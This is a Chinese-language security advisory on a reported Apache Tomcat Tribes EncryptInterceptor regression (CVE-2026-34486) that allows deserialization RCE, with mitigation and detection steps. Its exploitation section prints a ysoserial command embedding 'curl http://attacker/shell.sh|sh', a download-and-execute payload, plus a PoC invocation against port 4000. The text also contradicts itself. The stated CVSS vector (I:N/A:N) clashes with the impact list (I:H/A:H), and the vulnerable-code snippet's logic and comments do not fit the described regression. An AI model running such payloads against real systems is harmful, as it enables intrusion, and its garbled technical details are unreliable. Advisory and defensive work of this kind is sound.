CVE-2026-34486:Apache Tomcat 集群 EncryptInterceptor 修复回归导致 RCE(CVSS 7.5)

事件概述

2026 年 4 月 9 日,Apache 软件基金会发布安全公告,公开 Apache Tomcat 11.0.20 / 10.1.53 / 9.0.116 三个补丁版本中一个因修复 CVE-2026-29146 而引入的回归漏洞 CVE-2026-34486。CISA 于 2026-08-04 将其纳入 Known Exploited Vulnerabilities(KEV)目录,联邦机构须在 2026-08-07 前修复。CISA-ADP 给出的 CVSSv3.1 评分为 7.5(High),向量为 AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N,对应 CWE-311(敏感数据未加密)。阿里云 AVD 与 CN-SEC 的独立分析显示该漏洞可在具备反序列化 gadget 链的环境下造成实际 RCE,因此真实危害评分远高于 7.5。

该漏洞由 striga.ai 安全研究员 Bartlomiej Dmitruk 报告,Apache 已发布 9.0.117、10.1.54、11.0.21 三个修复版本。由于 Tomcat Tribes 默认监听 0.0.0.0:4000,凡是在公网或共享网络中暴露集群端口的部署都在受影响范围内。

技术细节

Tomcat Tribes 与 EncryptInterceptor

Tomcat 集群模式下通过 Tribes 模块实现成员发现、消息可靠传输与 Session 复制。Tribes 默认绑定 TCP 4000 端口,消息格式以 FLT2002 开头标识、TLF2003 结尾标识,载荷为 ChannelData。EncryptInterceptor 是 Tribes 拦截器链中负责对称加密的部分,集群节点之间基于共享密钥进行加密通信。

回归点

在修复 CVE-2026-29146 时,Apache 调整了 EncryptInterceptor 中的一行代码位置,把 throw new IOException("decrypt failed"); 由解密 失败前 移到解密 成功后,导致当解密抛异常时,加密标记为 false 的明文消息仍会通过拦截器链继续走反序列化流程——即由原本的 fail-closed 行为退化为 fail-open

// 漏洞版本:仅当解密成功才 throw,失败时明文继续往下传
if (!decrypted) {
    log.warn("decrypt failed, fall through");   // 回归点:原应中断处理
} else {
    throw new IOException("decrypt failed");    // 永远不会到达
}
nextInterceptor.messageReceived(member, data);  // 明文直接进入反序列化

利用路径

任何可对 Tribes 4000 端口建立 TCP 连接的源,都能直接发送符合 Tribes 帧格式、载荷为 明文 Java 反序列化对象 的恶意消息。配合服务端的 Commons Collections、GadgetChain、SnakeYAML 等反序列化 gadget 库,即可触发任意 Java 代码执行:

# 利用 ysoserial 构造 CommonsCollections 链 payload
java -jar ysoserial-all.jar CommonsCollections6 'curl http://attacker/shell.sh|sh' > payload.bin

# 套上 Tribes FLT2002 / TLF2003 帧并通过 TCP 4000 发送
python3 tribes_poc.py --target 10.0.0.10 --port 4000 --payload payload.bin

影响评估

  • 机密性 (C:H):集群流量不再受保护,可被中间人嗅探、篡改;
  • 完整性 (I:H):可向集群任意节点注入恶意状态或反序列化 payload;
  • 可用性 (A:H):可远程触发反序列化异常造成节点失联,或直接 RCE 关闭 Tomcat;
  • 攻击前置:仅需 TCP 4000 可达 + 目标存在反序列化 gadget 库。

虽然 CVSS 标注 PR:N(无需权限),但其前提是 Tribes 端口在网络层未被隔离。CN-SEC 指出”很多团队配置 EncryptInterceptor 的初衷正是为了保护集群流量,结果却成了最大破绽”,因此对已开启 EncryptInterceptor 但端口暴露在内网的部署尤为危险。

修复建议

1. 立即升级

  • Apache Tomcat 9.0.x:升级到 9.0.117 或更高;
  • Apache Tomcat 10.1.x:升级到 10.1.54 或更高;
  • Apache Tomcat 11.0.x:升级到 11.0.21 或更高。

2. 网络层缓解(无法立即升级时)

  • 在安全组 / 防火墙中限制 4000 端口 仅对集群节点互通网段开放,禁止公网与跨业务网段访问;
  • 将 Tomcat 集群从默认的全网监听改为绑定到 <Cluster-Members-Only> 私有网卡;
  • 禁用 EncryptInterceptor 之外的明文回退路径,确保配置中无 tribes.tcp_listen_address=0.0.0.0

3. 检测与响应

  • 在 4000 端口抓取流量,识别来自非集群成员 IP 的 Tribes 帧;
  • 监控 Tomcat 进程异常子进程(shbashcurlpython)及出站连接;
  • 回溯 server.xmlcluster.xml 的 EncryptInterceptor 配置,确认关闭回退通道;
  • 对运行 9.0.116 / 10.1.53 / 11.0.20 的实例进行反序列化入侵痕迹检查(~/.ssh//tmp/、crontab)。

参考来源